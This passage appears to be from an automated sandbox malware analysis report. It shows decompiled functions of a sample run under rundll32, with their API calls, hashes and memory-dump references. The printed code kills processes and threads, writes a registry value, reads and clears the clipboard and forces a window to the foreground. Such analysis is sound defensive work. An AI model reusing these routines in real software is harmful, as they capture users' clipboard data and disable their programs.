				 *((char*)(_t42 + 0x16)) = _v14 & 0x000000ff;
				if(_t43 != 0) {
					 *((intOrPtr*)(_t42 + 0xc)) = _t43;
				}
				_t35 = _v0;
				 *((char*)(_t42 + 0x19)) = _t35;
				return _t35;
			}

0x00fc5966
0x00fc5973
0x00fc5975
0x00fc5979
0x00fc597e
0x00fc5985
0x00fc598b
0x00fc5992
0x00fc5999
0x00fc599f
0x00fc59aa
0x00fc59b0
0x00fc59b4
0x00fc59b9
0x00fc59c3
0x00fc59c7
0x00fc5a24
0x00fc5a26
0x00fc5a26
0x00fc59e7
0x00fc59eb
0x00000000
0x00000000
0x00fc59f2
0x00fc59fb
0x00fc5a03
0x00fc5a0b
0x00fc5a10
0x00fc5a12
0x00fc5a12
0x00fc5a15
0x00fc5a1a
0x00fc5a23

APIs

lstrcpyA.KERNEL32(?,9.31,00000002,00000000,?,00000000,00FC6CF4,?), ref: 00FC5999
GetModuleHandleA.KERNEL32(?,00000000,00FC6CF4,?), ref: 00FC59BD
GetProcAddress.KERNEL32(00000000,00FD96EF), ref: 00FC59D1
GetProcAddress.KERNEL32(00000000,?), ref: 00FC59DC
GetProcAddress.KERNEL32(00000000,?), ref: 00FC59E7
ExitThread.KERNEL32 ref: 00FC5A26

Strings

9.31, xrefs: 00FC596E

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: AddressProc$ExitHandleModuleThreadlstrcpy
String ID: 9.31
API String ID: 3147507063-989947607
Opcode ID: 032db6075682e5ddc92bfd1e91e9b7f85ef367d6b63af9dca5288f6c21291d8d
Instruction ID: 8e2f381dc37dfec9615a38d790f52071f5afc244646d622f61623ddb157f59af
Opcode Fuzzy Hash: 032db6075682e5ddc92bfd1e91e9b7f85ef367d6b63af9dca5288f6c21291d8d
Instruction Fuzzy Hash: 2121CC710087469FC320DFAA9D41D5BBFF9AF58610B044A1EF881C3622DA38E548ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC19A0 Relevance: 12.1, APIs: 8, Instructions: 66
registryCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E00FC19A0() {
				char _v4;
				void* _v8;
				int _t5;
				int _t6;
				int _t7;
				int _t8;
				intOrPtr _t9;
				char _t12;
				intOrPtr* _t21;
				void** _t23;

				_t23 =  &_v8;
				_t5 =  *0xfd6384; // 0x0
				_t21 = __imp__TerminateJobObject;
				if(_t5 != 0) {
					 *_t21(_t5, 0);
					 *0xfd6384 = 0;
				}
				_t6 =  *0xfd6378; // 0x0
				if(_t6 != 0) {
					 *_t21(_t6, 0);
					 *0xfd6378 = 0;
				}
				_t7 =  *0xfd637c; // 0x0
				if(_t7 != 0) {
					 *_t21(_t7, 0);
					 *0xfd637c = 0;
				}
				_t8 =  *0xfd6374; // 0x0
				if(_t8 != 0) {
					 *_t21(_t8, 0);
					 *0xfd6374 = 0;
				}
				_t9 =  *0xfd6380; // 0x0
				if(_t9 != 0) {
					 *_t21(_t9, 0);
					 *0xfd6378 = 0;
				}
				_v8 = 0;
				if( *0xfd6c89 > 0x2000) {
					_t12 = RegOpenKeyExA(0x80000002,  *0xfd6ba0, 0, 0xf013f, _t23);
					if(_t12 == 0) {
						_v4 = _t12;
						RegSetValueExA(_v8,  *0xfd6ba4, 0, 4,  &_v4, 4);
					}
				}
				return EnumDesktopWindows( *0xfd6388, E00FC1910, 1);
			}

0x00fc19a5
0x00fc19a0
0x00fc19a9
0x00fc19b1
0x00fc19b6
0x00fc19b8
0x00fc19b8
0x00fc19c2
0x00fc19c9
0x00fc19ce
0x00fc19d0
0x00fc19d0
0x00fc19da
0x00fc19e1
0x00fc19e6
0x00fc19e8
0x00fc19e8
0x00fc19f2
0x00fc19f9
0x00fc19fe
0x00fc1a00
0x00fc1a00
0x00fc1a0a
0x00fc1a11
0x00fc1a16
0x00fc1a18
0x00fc1a18
0x00fc1a2c
0x00fc1a35
0x00fc1a4d
0x00fc1a55
0x00fc1a59
0x00fc1a70
0x00fc1a70
0x00fc1a55
0x00fc1a8c

APIs

TerminateJobObject.KERNEL32 ref: 00FC19B6
TerminateJobObject.KERNEL32 ref: 00FC19CE
TerminateJobObject.KERNEL32 ref: 00FC19E6
TerminateJobObject.KERNEL32 ref: 00FC19FE
TerminateJobObject.KERNEL32 ref: 00FC1A16
RegOpenKeyExA.ADVAPI32(80000002,00000000,000F013F,00000000), ref: 00FC1A4D
RegSetValueExA.ADVAPI32(?,00000000,00000004,?,00000004), ref: 00FC1A70
EnumDesktopWindows.USER32(Function_00001910,00000001), ref: 00FC1A83

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: ObjectTerminate$DesktopEnumOpenValueWindows
String ID:
API String ID: 3443919778-0
Opcode ID: 61e8c94067c131345edc45b35bf2a2cafb990e2f1a1d1a9ee7d077cd93b9aadc
Instruction ID: dd08cc304757f90994f931612174ceffbe6e3ba4a7d8c3971ab7f99e290c807d
Opcode Fuzzy Hash: 61e8c94067c131345edc45b35bf2a2cafb990e2f1a1d1a9ee7d077cd93b9aadc
Instruction Fuzzy Hash: 9421FC70A42309ABEB209F74ED4AF567BAABB04B01F14401FF504E62A1D7B5D814FB55

Uniqueness

Uniqueness Score: -1.00%

Function 00FC9A10 Relevance: 12.1, APIs: 8, Instructions: 64
processstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00FC9A10(WCHAR* __ecx) {
				short _v528;
				long _v556;
				char _v560;
				void* _v564;
				void* _v568;
				void* _t20;
				signed int _t21;
				signed int _t23;
				void* _t27;
				WCHAR* _t30;

				_t23 = 0;
				_t30 = __ecx;
				_t20 = CreateToolhelp32Snapshot(2, 0);
				_v564 = _t20;
				if(_t20 != 0xffffffff) {
					_v560 = 0x22c;
					_push( &_v560);
					if(Process32FirstW(_t20) != 0) {
						do {
							if(_t30 != 0 && lstrcmpiW( &_v528, _t30) == 0) {
								_t21 = 0;
								_t27 = OpenProcess(1, 0, _v556);
								if(_t27 != 0) {
									_t21 = TerminateProcess(_t27, 0);
									CloseHandle(_t27);
								}
								_t23 = _t23 | _t21;
								_t20 = _v568;
							}
						} while (Process32NextW(_t20,  &_v564) != 0);
					}
					CloseHandle(_t20);
				}
				return _t23;
			}

0x00fc9a19
0x00fc9a1b
0x00fc9a26
0x00fc9a28
0x00fc9a2f
0x00fc9a36
0x00fc9a3e
0x00fc9a4e
0x00fc9a50
0x00fc9a52
0x00fc9a68
0x00fc9a73
0x00fc9a77
0x00fc9a88
0x00fc9a8a
0x00fc9a8a
0x00fc9a94
0x00fc9a96
0x00fc9a96
0x00fc9aa6
0x00fc9a50
0x00fc9aab
0x00fc9aad
0x00fc9ab9

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC9A20
Process32FirstW.KERNEL32(00000000,?), ref: 00FC9A40
lstrcmpiW.KERNEL32(?,?), ref: 00FC9A5A
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00FC9A6D
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FC9A7B
CloseHandle.KERNEL32(00000000), ref: 00FC9A8A
Process32NextW.KERNEL32(00000000,0000022C), ref: 00FC9AA0
CloseHandle.KERNEL32(00000000), ref: 00FC9AAB

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32lstrcmpi
String ID:
API String ID: 1193533834-0
Opcode ID: efc8254a8f0eee6a12525a8e9f209fd26e93eebea4224ec1f42914e1609c0b99
Instruction ID: 36c0aa7cb866a266724638be1d7216ffed3edd5cdf9c964d484e142063b0d245
Opcode Fuzzy Hash: efc8254a8f0eee6a12525a8e9f209fd26e93eebea4224ec1f42914e1609c0b99
Instruction Fuzzy Hash: 3E11947160831AAFD7109F61EE8AF2BB7ADFB85720F050439B905D3151E6B99C089A71

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4140 Relevance: 12.1, APIs: 8, Instructions: 57
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC4140(long* __ecx, long* __edx, long* _a4, long* _a8, long* _a12) {
				void* _v4;
				void* _v8;
				long* _t11;
				void* _t13;
				void* _t21;
				long _t24;
				long* _t26;
				void* _t28;

				_t26 = _a12;
				_v4 =  *__edx;
				_t11 = _a4;
				_t24 =  *__ecx;
				_t21 =  *_t26;
				_t28 =  *_t11;
				 *__ecx = 0;
				 *__edx = 0;
				 *_t11 = 0;
				_v8 = _t24;
				 *_a8 = 0;
				 *_t26 = 0;
				if(_t24 != 0) {
					TerminateThread(_v8, 0);
					CloseHandle(_v8);
				}
				_t13 = _v4;
				if(_t13 != 0) {
					TerminateThread(_t13, 0);
					_t13 = CloseHandle(_v4);
				}
				if(_t28 != 0) {
					TerminateThread(_t28, 0);
					_t13 = CloseHandle(_t28);
				}
				if(_t21 != 0) {
					TerminateThread(_t21, 0);
					return CloseHandle(_t21);
				}
				return _t13;
			}

0x00fc4148
0x00fc414c
0x00fc4150
0x00fc4155
0x00fc4159
0x00fc415b
0x00fc415d
0x00fc4163
0x00fc4169
0x00fc4173
0x00fc417d
0x00fc4183
0x00fc418f
0x00fc4197
0x00fc419d
0x00fc419d
0x00fc419f
0x00fc41a5
0x00fc41aa
0x00fc41b1
0x00fc41b1
0x00fc41b5
0x00fc41ba
0x00fc41bd
0x00fc41bd
0x00fc41c1
0x00fc41c6
0x00000000
0x00fc41c9
0x00fc41d2

APIs

TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC4197
CloseHandle.KERNEL32(?), ref: 00FC419D
TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41AA
CloseHandle.KERNEL32(?), ref: 00FC41B1
TerminateThread.KERNEL32(?,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41BA
CloseHandle.KERNEL32(?), ref: 00FC41BD
TerminateThread.KERNEL32(00000000,00000000,77D3EB70,77D3EEF0,?,00000000), ref: 00FC41C6
CloseHandle.KERNEL32(00000000), ref: 00FC41C9

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: CloseHandleTerminateThread
String ID:
API String ID: 2476175854-0
Opcode ID: 5252a8dab6fc39913dc1e479fdcbccb343af3b2150caffa64e0f8b0b34270c5c
Instruction ID: 4fce091a1eb7fc8126bd0121aaa936a9ab50da63f5728b12eed4596b1806b2ca
Opcode Fuzzy Hash: 5252a8dab6fc39913dc1e479fdcbccb343af3b2150caffa64e0f8b0b34270c5c
Instruction Fuzzy Hash: 13113C7160030AABD710EF29DD41F0BBBE8EF95720F150859F984A7250C7B6A8048FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA780 Relevance: 12.0, APIs: 8, Instructions: 38
windowthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FCA780(struct HWND__* __ecx) {
				long _t7;
				struct HKL__* _t8;
				struct HWND__* _t11;

				_t11 = __ecx;
				SetWindowPos(__ecx, 0xffffffff, 0, 0, 0, 0, 0x202b);
				SetWindowPos(_t11, 0xfffffffe, 0, 0, 0, 0, 0x202b);
				SetForegroundWindow(_t11);
				BringWindowToTop(_t11);
				SetActiveWindow(_t11);
				SetFocus(_t11);
				_t7 = GetWindowThreadProcessId(_t11, 0);
				if(_t7 == 0) {
					 *0xfd63f8 = 0xffffffff;
					return _t7;
				} else {
					_t8 = GetKeyboardLayout(_t7);
					 *0xfd63f8 = _t8;
					return _t8;
				}
			}

0x00fca78e
0x00fca793
0x00fca7a9
0x00fca7b0
0x00fca7b7
0x00fca7be
0x00fca7c5
0x00fca7ce
0x00fca7d7
0x00fca7e6
0x00fca7f0
0x00fca7d9
0x00fca7da
0x00fca7e0
0x00fca7e5
0x00fca7e5

APIs

SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,0000202B,00000000,00FC5901,00000000,?,?,?,00000000,00FC62BB), ref: 00FCA793
SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,0000202B,?,?,00000000,00FC62BB), ref: 00FCA7A9
SetForegroundWindow.USER32(00000000,?,?,00000000,00FC62BB), ref: 00FCA7B0
BringWindowToTop.USER32(00000000), ref: 00FCA7B7
SetActiveWindow.USER32(00000000,?,?,00000000,00FC62BB), ref: 00FCA7BE
SetFocus.USER32(00000000,?,?,00000000,00FC62BB), ref: 00FCA7C5
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FCA7CE
GetKeyboardLayout.USER32 ref: 00FCA7DA

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Window$ActiveBringFocusForegroundKeyboardLayoutProcessThread
String ID:
API String ID: 3214104165-0
Opcode ID: eb5b47610effb9e0f08b48a8842a931e64902af78d554ba876b0191a33e22da0
Instruction ID: d0b94434494a586425b47c19dd82140dab0c2503e25307585ac5fd4c2f76e92a
Opcode Fuzzy Hash: eb5b47610effb9e0f08b48a8842a931e64902af78d554ba876b0191a33e22da0
Instruction Fuzzy Hash: 08F0D675684309BBE6211B60AD4FFAE7736E786F21F240329F221E61E0CBB41446B615

Uniqueness

Uniqueness Score: -1.00%

Function 00FC7180 Relevance: 10.6, APIs: 7, Instructions: 93
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC7180(WCHAR* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				char _v52;
				WCHAR* _v56;
				intOrPtr _v60;
				short _v64;
				signed int _t34;
				signed char _t40;
				CHAR* _t45;
				intOrPtr _t55;
				WCHAR* _t56;
				signed int _t62;
				CHAR* _t65;

				_t56 = __ecx;
				_v60 = __edx;
				_v64 = 0;
				_t34 = lstrlenW(__ecx);
				_t62 = 0;
				if(_a8 <= 0) {
					return 0;
				} else {
					_v56 =  &(_t56[_t34]);
					do {
						lstrcatW(_t56,  *(0xfd6730 + ( *(_a4 + _t62 * 4) & 0x0000ffff) * 4));
						_t40 = GetFileAttributesW(_t56);
						if(_v60 == 0) {
							if(_t40 != 0xffffffff && (_t40 & 0x00000010) == 0) {
								goto L11;
							}
						} else {
							if(_t40 == 0xffffffff || (_t40 & 0x00000010) == 0) {
								_t55 = 0;
							} else {
								_t55 = 1;
							}
							if(_t55 != 0) {
								L11:
								_v64 = 1;
								_v52 = 0;
								_t65 =  *(0xfd6a10 + ( *(_a4 + 2 + _t62 * 4) & 0x0000ffff) * 4);
								_t45 = _a12;
								if(_t45 != 0) {
									lstrcpyA( &_v52, _t45);
								}
								if(_t65 != 0) {
									lstrcatA( &_v52, _t65);
								}
								if(E00FC1370( &_v52) == 0) {
									lstrcatA( &_v52, "\r\n");
									lstrcatA(0xfd6608,  &_v52);
								}
							}
						}
						_t62 = _t62 + 1;
						 *_v56 = 0;
					} while (_t62 < _a8);
					return _v64;
				}
			}

0x00fc7186
0x00fc7188
0x00fc718f
0x00fc7193
0x00fc7199
0x00fc719f
0x00fc7296
0x00fc71a5
0x00fc71b5
0x00fc71c0
0x00fc71d0
0x00fc71d7
0x00fc71de
0x00fc71fb
0x00000000
0x00000000
0x00fc71e0
0x00fc71e3
0x00fc71f0
0x00fc71e9
0x00fc71e9
0x00fc71e9
0x00fc71f4
0x00fc7201
0x00fc7205
0x00fc720d
0x00fc7217
0x00fc721e
0x00fc7224
0x00fc722c
0x00fc722c
0x00fc7234
0x00fc723c
0x00fc723c
0x00fc724e
0x00fc725a
0x00fc7266
0x00fc7266
0x00fc7268
0x00fc71f4
0x00fc7274
0x00fc7275
0x00fc7278
0x00fc728d
0x00fc728d

APIs

lstrlenW.KERNEL32(?,747169A0,00000000,747582B0,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC7193
lstrcatW.KERNEL32(?,00000000), ref: 00FC71D0
GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00FC72FC,?,?,?), ref: 00FC71D7
lstrcpyA.KERNEL32(?,?), ref: 00FC722C
lstrcatA.KERNEL32(?,7476F9C0), ref: 00FC723C
lstrcatA.KERNEL32(?,00FCF400), ref: 00FC725A
lstrcatA.KERNEL32(00FD6608,00000000), ref: 00FC7266

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$AttributesFilelstrcpylstrlen
String ID:
API String ID: 667488335-0
Opcode ID: 573d3973f08fd4cc7816bbe00505839d383776d60c95b5b8d4acc0eae6f14f0c
Instruction ID: 5c42ee3457087ec2e9ccba5c51a507d8ba33fcb26c9b5162dd6539e055c0664e
Opcode Fuzzy Hash: 573d3973f08fd4cc7816bbe00505839d383776d60c95b5b8d4acc0eae6f14f0c
Instruction Fuzzy Hash: 5631A0319083169BC700DF69DE46E6BF3E8FB84760F08092EF850D7250D734E909AE92

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4E78 Relevance: 10.6, APIs: 7, Instructions: 63
clipboardstringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00FC4E78(intOrPtr _a20) {
				int _t5;
				void* _t16;
				struct HWND__* _t17;
				intOrPtr _t21;
				WCHAR* _t26;
				void* _t27;

				_t17 = 0;
				_a20 =  *0xfd65ac;
				_t5 = OpenClipboard(0);
				if(_t5 == 0) {
					L11:
					return _t5;
				} else {
					if(IsClipboardFormatAvailable(0xd) == 0) {
						L8:
						_t21 = _a20;
					} else {
						_t16 = GetClipboardData(0xd);
						if(_t16 == 0) {
							goto L8;
						} else {
							_t26 = GlobalLock(_t16);
							if(_t26 == 0) {
								goto L8;
							} else {
								_t21 = lstrlenW(_t26) + _t10;
								if(_t21 != 0) {
									_t17 = _a20(0, _t21);
									if(_t17 != 0) {
										E00FC1000(_t17, _t26, _t21);
										_t27 = _t27 + 0xc;
									}
								}
								GlobalUnlock(_t16);
							}
						}
					}
					_t5 = CloseClipboard();
					if(_t17 == 0) {
						goto L11;
					} else {
						return E00FC7A00(0xfd65fc, 2, _t17, _t21);
					}
				}
			}

0x00fc4e7d
0x00fc4e80
0x00fc4e84
0x00fc4e8c
0x00fc5438
0x00fc5442
0x00fc4e92
0x00fc4e9c
0x00fc4ee9
0x00fc4ee9
0x00fc4e9e
0x00fc4ea6
0x00fc4eaa
0x00000000
0x00fc4eac
0x00fc4eb3
0x00fc4eb7
0x00000000
0x00fc4eb9
0x00fc4ec2
0x00fc4ec4
0x00fc4ecf
0x00fc4ed3
0x00fc4ed8
0x00fc4edd
0x00fc4edd
0x00fc4ed3
0x00fc4ee1
0x00fc4ee1
0x00fc4eb7
0x00fc4eaa
0x00fc4eed
0x00fc4ef5
0x00000000
0x00fc4efb
0x00fc4f16
0x00fc4f16
0x00fc4ef5

APIs

OpenClipboard.USER32(00000000), ref: 00FC4E84
IsClipboardFormatAvailable.USER32(0000000D), ref: 00FC4E94
GetClipboardData.USER32 ref: 00FC4EA0
GlobalLock.KERNEL32 ref: 00FC4EAD
lstrlenW.KERNEL32(00000000), ref: 00FC4EBA
GlobalUnlock.KERNEL32(00000000), ref: 00FC4EE1
CloseClipboard.USER32 ref: 00FC4EED

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataFormatLockOpenUnlocklstrlen
String ID:
API String ID: 3518450954-0
Opcode ID: b25cae179ae8ab3dd00037caf94a714e16ced01c74c347f8c4a6c8128576be04
Instruction ID: 6b22e1af5a463c6679adea60c4c383db859402c1ce79adf83dd682255a0f8579
Opcode Fuzzy Hash: b25cae179ae8ab3dd00037caf94a714e16ced01c74c347f8c4a6c8128576be04
Instruction Fuzzy Hash: F301063AA0120657C3206B61BD0BF67BB69FB80B62F49003EFC09D2251DA79E80865A1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1910 Relevance: 10.5, APIs: 7, Instructions: 47
stringthreadCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00FC1910(struct HWND__* _a4, intOrPtr _a8) {
				short _v40;
				long _v44;
				long _t13;
				long _t20;
				void* _t23;

				GetCurrentProcessId();
				if(GetWindowThreadProcessId(_a4,  &_v44) == 0 || _v44 == 0) {
					L9:
					return 1;
				} else {
					_t13 = GetCurrentProcessId();
					_t20 = _v44;
					if(_t20 == _t13) {
						goto L9;
					}
					if(_a8 != 0) {
						L7:
						_t23 = OpenProcess(1, 0, _t20);
						if(_t23 != 0) {
							TerminateProcess(_t23, 0);
							CloseHandle(_t23);
						}
						goto L9;
					}
					_push(0x14);
					if(E00FC9960(_t20,  &_v40) == 0 || lstrcmpiW( &_v40,  *0xfd67f4) != 0) {
						_t20 = _v44;
						goto L7;
					} else {
						goto L9;
					}
				}
			}

0x00fc191a
0x00fc192d
0x00fc1993
0x00fc199c
0x00fc1936
0x00fc1936
0x00fc1938
0x00fc193e
0x00000000
0x00000000
0x00fc1945
0x00fc1972
0x00fc197d
0x00fc1981
0x00fc1986
0x00fc198d
0x00fc198d
0x00000000
0x00fc1981
0x00fc1947
0x00fc1957
0x00fc196e
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc1957

APIs

GetCurrentProcessId.KERNEL32 ref: 00FC191A
GetWindowThreadProcessId.USER32(?,?), ref: 00FC1925
GetCurrentProcessId.KERNEL32 ref: 00FC1936
lstrcmpiW.KERNEL32(?), ref: 00FC1964
OpenProcess.KERNEL32(00000001,00000000,00000000), ref: 00FC1977
TerminateProcess.KERNEL32(00000000,00000000), ref: 00FC1986
CloseHandle.KERNEL32(00000000), ref: 00FC198D

Part of subcall function 00FC9960: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00FC9974

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Process$Current$CloseCreateHandleOpenSnapshotTerminateThreadToolhelp32Windowlstrcmpi
String ID:
API String ID: 4193244952-0
Opcode ID: 69bdf82a7dc33713773d72a0b4a3a68663e9baec9e0dca2e28e161587dffe2e5
Instruction ID: 528332ea310802a1380e2385048dd7f1d3f735d56af194dabe2185db198680bd
Opcode Fuzzy Hash: 69bdf82a7dc33713773d72a0b4a3a68663e9baec9e0dca2e28e161587dffe2e5
Instruction Fuzzy Hash: F901D63190020AABD7109B30DE57F6EB795BF44710F04803DF40993192D770DE58E752

Uniqueness

Uniqueness Score: -1.00%

Function 00FC4BA2 Relevance: 10.5, APIs: 7, Instructions: 40
clipboardmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00FC4BA2(struct HWND__* _a44) {
				int _t3;
				void* _t17;
				void* _t21;

				_a44 = 0;
				_t3 = OpenClipboard(0);
				if(_t3 == 0) {
					return _t3;
				} else {
					EmptyClipboard();
					_t17 = GlobalAlloc(0x2000, 1);
					if(_t17 != 0 && GlobalLock(_t17) != 0) {
						E00FC1000(_t7,  &_a44, 1);
						_t21 = _t21 + 0xc;
						GlobalUnlock(_t17);
						SetClipboardData(0xd, _t17);
					}
					return CloseClipboard();
				}
			}

0x00fc4ba4
0x00fc4bac
0x00fc4bb4
0x00fc5442
0x00fc4bba
0x00fc4bba
0x00fc4bcd
0x00fc4bd1
0x00fc4be6
0x00fc4beb
0x00fc4bef
0x00fc4bf8
0x00fc4bf8
0x00fc4c0e
0x00fc4c0e

APIs

OpenClipboard.USER32 ref: 00FC4BAC
EmptyClipboard.USER32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00FC4BBA
GlobalAlloc.KERNEL32(00002000,00000001,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00FC4BC7
GlobalLock.KERNEL32 ref: 00FC4BD4
GlobalUnlock.KERNEL32(00000000), ref: 00FC4BEF
SetClipboardData.USER32 ref: 00FC4BF8
CloseClipboard.USER32 ref: 00FC4BFE

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: Clipboard$Global$AllocCloseDataEmptyLockOpenUnlock
String ID:
API String ID: 1677084743-0
Opcode ID: 805ef8bdd03e0ebd0a700aaffcab49c2f7c950e4e6b44195fa764ee449950cfe
Instruction ID: 7512eccd4362398f3608b858e27c2f11dea330328937cbe7b0377aa555969195
Opcode Fuzzy Hash: 805ef8bdd03e0ebd0a700aaffcab49c2f7c950e4e6b44195fa764ee449950cfe
Instruction Fuzzy Hash: 05F09C36B41215ABE3101760FE1FFAAF715FB40763F88003DF909C51D0DB69D408A6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00FC5A30 Relevance: 9.2, APIs: 6, Instructions: 196
networkCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00FC5A30(intOrPtr _a4) {
				intOrPtr _v52;
